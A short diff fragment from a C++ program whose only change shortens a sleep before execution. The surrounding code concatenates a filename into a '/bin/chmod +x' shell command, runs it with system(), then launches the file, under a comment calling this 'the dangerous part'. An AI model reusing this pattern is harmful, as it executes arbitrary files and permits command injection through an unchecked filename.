|
|
@ -73,7 +73,7 @@ int main(int argc,char** argv) {
|
|
|
|
string executable = "/bin/chmod +x " + filename;
|
|
|
|
string executable = "/bin/chmod +x " + filename;
|
|
|
|
string run = filename;
|
|
|
|
string run = filename;
|
|
|
|
system(executable.c_str());
|
|
|
|
system(executable.c_str());
|
|
|
|
this_thread::sleep_for (chrono::seconds(3));
|
|
|
|
this_thread::sleep_for (chrono::seconds(1));
|
|
|
|
system(run.c_str()); // This is the dangerous part ^^
|
|
|
|
system(run.c_str()); // This is the dangerous part ^^
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return 0;
|
|
|
|
return 0;
|
|
|
|